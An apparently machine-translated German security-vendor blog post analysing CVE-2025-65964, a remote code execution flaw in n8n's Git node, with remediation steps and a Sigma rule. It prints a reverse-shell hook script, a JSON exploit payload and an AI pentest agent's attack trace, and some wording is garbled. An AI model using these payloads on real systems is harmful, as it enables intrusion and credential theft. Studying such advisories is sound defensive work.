In der sich schnell entwickelnden Landschaft der KI-Sicherheit konzentriert sich die Branche oft auf feindliche Angriffe auf Large Language Models (wie Prompt Injection) und vernachlässigt dabei das bröckelnde "Skelett", das diese Agenten zusammenhält - die Orchestrierungsschicht.
Am 8. Dezember 2025 enthüllte die Sicherheitsgemeinschaft CVE-2025-65964eine kritische Schwachstelle für Remote Code Execution (RCE) in n8ndas weltweit beliebteste Open-Source-Tool zur Automatisierung von Arbeitsabläufen. Mit einem CVSS v4-Score von 9.4 (Kritisch)ist diese Schwachstelle nicht nur ein weiterer Web-Bug. Er stellt einen ausgeklügelten Missbrauch der Git zugrunde liegenden Konfigurationslogik dar, der legitime Versionskontrollvorgänge als Waffe einsetzt, um das zentrale Nervensystem moderner KI-Stacks zu kompromittieren.
Dieser Artikel geht über den allgemeinen Hinweis hinaus. Aus der Perspektive eines Hardcore-Red-Teams werden wir die vollständige Ausnutzungskettedie Ursache und warum dies der Inbegriff eines "Angriffs auf die Lieferkette durch Agenten" ist.
Der Kontext: Wenn Git zum Vektor wird
n8n hat sich zu einem Eckpfeiler moderner KI-Anwendungen entwickelt und wird ausgiebig genutzt, um LLMs (wie GPT-5), Vektordatenbanken (wie Pinecone) und interne APIs zusammenzufügen. Um CI/CD und Versionskontrolle für Workflows zu unterstützen, wird n8n mit einer leistungsstarken, integrierten Git-Knoten.
Der Kern der CVE-2025-65964 liegt darin, dass der n8n-Git-Knoten die Konfigurationsschlüssel während der Installation nicht bereinigt. addConfig Betrieb. Angreifer nutzen dieses Versehen aus, um die core.hooksPath Konfiguration, wodurch der Ausführungsfluss der Git-Binärdatei effektiv gestört wird.

Verstehen core.hooksPath
In einer Standard-Git-Architektur werden Hooks (Skripte, die bei Ereignissen wie übergeben., Zur Kasse, zusammenführen) werden in der Repository-Datei .git/hooks Verzeichnis. Aus Sicherheitsgründen repliziert Git diese Hooks beim Klonen eines Repositorys nicht.
Mit Git 2.9 wurde jedoch die Konfigurationsoption core.hooksPath eingeführt, mit der Benutzer einen benutzerdefinierten Pfad für Hooks an einem beliebigen Ort im Dateisystem festlegen können.
Wenn ein Angreifer diesen Konfigurationsschlüssel kontrollieren und auf ein Verzeichnis verweisen kann, auf das er Schreibrechte hat (z. B. /tmp/ oder ein Datei-Upload-Verzeichnis), bricht Git beim nächsten Mal, wenn n8n eine Git-Operation durchführt, aus seiner Sandbox aus und führt das Skript des Angreifers aus.
Die Ausnutzungskette: Eine Meisterklasse für Logikfehler
Ein erfolgreicher Angriff erfordert mehr als nur eine einzelne Nutzlast; er erfordert "Logic Orchestration". Nachfolgend finden Sie die schrittweise Reproduktion des Angriffs aus unserem Forschungslabor.
Phase 1: Erkundung und Zugang
Der Angreifer erhält zunächst Zugriff auf den n8n-Workflow-Editor. In vielen Unternehmens-Intranets wird n8n von KI-Ingenieuren und Datenwissenschaftlern eingesetzt, die oft keine strenge Authentifizierung haben oder sich hinter schwachen Standard-Anmeldedaten verstecken.
Ziel-Bestätigung: 0.123.1 <= n8n Version < 1.119.2.
Phase 2: Bereitstellung der Nutzlast
Seit core.hooksPath auf ein Verzeichnis zeigt, muss der Angreifer zunächst ein ausführbares Skript mit einem bestimmten Git-Hook-Namen (z. B., Post-Checkout) an einem beschreibbaren Ort.
Verwendung von n8n's "Binärdatei schreiben" Knoten (oder einen "Execute Command"-Knoten, wenn dieser nicht gehärtet ist), legt der Angreifer ein bösartiges Skript ab.
Beispiel für ein bösartiges Skript (/tmp/pwn/post-checkout):
Bash
#!/bin/bash
Eine Reverse-Shell-Nutzlast
Wird stillschweigend nach einem Git-Checkout-Vorgang ausgeführt
/bin/bash -i >& /dev/tcp/10.10.10.5/4444 0>&1`
Phase 3: Konfigurationsinjektion
Dies ist der Auslösepunkt. Der Angreifer schafft eine Git-Knoten und wählt den Vorgang "Konfig hinzufügen". Normalerweise konfigurieren die Benutzer Benutzer.name oder benutzer.email. Indem er jedoch die JSON-Parameter direkt manipuliert, injiziert der Angreifer den gefährlichen Schlüssel.
Der Exploit JSON Payload:
JSON
{ "Parameter": { "operation": "addConfig", "configName": "core.hooksPath", "configValue": "/tmp/pwn", "repositoryPath": "/home/node/.n8n/git/workflow_repo" }, "name": "Weaponized_Git_Config", "type": "n8n-nodes-base.git", "typeVersion": 1, "position": [460, 300] }
Wenn dieser Knoten ausgeführt wird, läuft der zugrunde liegende n8n-Prozess:
git config -file /home/node/.n8n/git/workflow_repo/.git/config core.hooksPfad /tmp/pwn
Phase 4: Der Auslöser
Sobald die Konfiguration festgelegt ist, bleibt sie bestehen. Der Angreifer fügt einfach einen weiteren Git-Knoten in den Arbeitsablauf ein, um eine harmlose Operation durchzuführen, z. B. git checkout master oder git status.
Sequenz: Git-Prozess wird gestartet -> Liest core.hooksPath -> Lädt /tmp/pwn/post-checkout -> RCE wird ausgeführt.

Warum dies ein Albtraum für die KI-Infrastruktur ist
Für Sicherheitsingenieure ist das Verständnis der Auswirkungen ist kritischer als der Fehler selbst. Im Zeitalter der künstlichen Intelligenz ist ein n8n-Server nicht nur ein Webdienst; er ist ein Schlüssel Tresor.
- Berechtigungsnachweis-Dumping: Die n8n-Datenbank enthält verschlüsselte API-Schlüssel für OpenAI, AWS Bedrock, Snowflake und Slack. Mit Shell-Zugriff kann ein Angreifer diese Anmeldeinformationen entschlüsseln (oft in ~/.n8n/database.sqlite zu finden), was zu einer vollständigen Kompromittierung der Cloud-Umgebung des Unternehmens führt.
- RAG-Vergiftung: Angreifer können die Arbeitsabläufe, die in Vektordatenbanken schreiben, unterwandern. Indem sie bösartige Wissensschnipsel einschleusen, können sie die Ausgabe der internen RAG-Systeme des Unternehmens manipulieren und so tiefgreifende Social-Engineering- oder Desinformationskampagnen ermöglichen.
- Container-Flucht-Risiken: Viele n8n-Installationen werden mit erhöhten Rechten (oder -privileged) ausgeführt, um Python-Bibliotheken wie LangChain die Interaktion mit dem System zu ermöglichen. In solchen Fällen ist RCE innerhalb des Containers funktional äquivalent zu Root auf dem Host.
Die Penligent-Fallstudie: Agent vs. Agent
Unter Penligent.aistufen wir dies als "Logikfehler" ein. Herkömmliche DAST-Scanner können CVE-2025-65964 nicht erkennen, weil:
- Scanner wissen nicht, wie man einen "Workflow" aufbaut.
- Scanner können die zeitliche Logik von "Erst Datei schreiben, dann Git konfigurieren" nicht verstehen.
Die automatisierten Penetrationstest-Agenten von Penligent zeigen jedoch Denkfähigkeiten, die fortgeschrittene menschliche Angreifer imitieren.
[Penligent Agent Internal Trace - 2025-12-09 14:02:33]
Beobachtung: Zielport 5678 offen. Identifiziert als n8n. Umgehung schwacher Anmeldeinformationen erfolgreich.
Begründung: Erkannte Git-Knoten-Fähigkeit. Die Wissensdatenbank weist auf das Risiko einer Git Config Injection hin. Die direkte Befehlsausführung ist blockiert. Kann ich die Ausführung über eine Umgebungs- oder Konfigurationsmanipulation erreichen?
Aktionsplan:
- Versuch
Befehl ausführenum den Ausgang zu überprüfen (fehlgeschlagen, Knoten deaktiviert).- Pivot-Strategie: Suche nach Dateischreibprimitiven.
Binärdatei schreibenKnoten verfügbar ist.- Exploit-Kette konstruieren: Reverse Shell nach /tmp/.git-hooks schreiben -> core.hooksPath über Git Node injizieren -> Git Log auslösen.Ausführung: Laufende Workflow-ID pwn_test_01.Ergebnis: Reverse Shell Callback erhalten. Schwachstelle verifiziert.
Dies ist das zentrale Wertversprechen von Sträflich: KI zur Bekämpfung von KI einsetzen. Unsere Agenten gleichen nicht nur Fingerabdrücke ab, sondern verstehen auch die Geschäftslogik und simulieren in einer sicheren Sandbox die Handlungen von Angreifern auf hohem Niveau.

Verteidigung und Aufdeckung
Sanierung
- Unverzüglich flicken: Upgrade n8n auf Version 1.119.2 oder später. Die neue Version implementiert eine strikte Erlaubnisliste für
addConfigTasten. - Härtung: Verwenden Sie die
N8N_NODES_EXCLUDE=["n8n-nodes-base.git"]Umgebungsvariable in Ihrem Docker-Setup, um den Git-Knoten vollständig zu deaktivieren, wenn er nicht unternehmenskritisch ist.
Jagd auf Bedrohungen
Wenn Sie einen Verstoß vermuten, prüfen Sie die .git/config Dateien auf Ihren n8n-Servern.
Beispiel für eine Sigma-Erkennungsregel:
YAML
Titel: Suspicious Git Config Modification via n8n status: experimental logsource: category: process_creation product: linux detection: selection: ParentImage|endswith: '/node' Image|endswith: '/git' CommandLine|enthält: - 'config' - 'core.hooksPath' Bedingung: Auswahl Stufe: hoch
Jeder Git-Befehl, der von einem Node.js-Prozess ausgelöst wird, der versucht, die core.hooksPath sollte als hochgradig zuverlässiger Indikator für Kompromisse (IoC) behandelt werden.
Schlussfolgerung
CVE-2025-65964 beweist einmal mehr, dass mit der Verlagerung der Softwareentwicklung hin zu "Agent Native"-Architekturen die traditionellen Grenzen verschwimmen. Die Flexibilität unserer Tools ist oft der größte Feind der Sicherheit.
Für den Hardcore-Sicherheitsingenieur hat sich das Schlachtfeld vom Web-Frontend zum Orchestrierungs-Backend verlagert. Achten Sie nicht nur auf die HTTP-Anfragen, sondern auch auf die Workflows, die im Hintergrund ablaufen. Beobachten Sie die automatisierten Git-Vorgänge. Dies ist die Frontlinie des Jahres 2025.
Wenn Ihrem Team die Arbeitskräfte fehlen, um solche komplexen logischen Risiken manuell zu überprüfen, ist es vielleicht an der Zeit, eine Sträflich-der intelligente digitale Red-Teamer, der im Zeitalter der KI die Fäden in der Hand hält.
Interne Links / Referenzen:

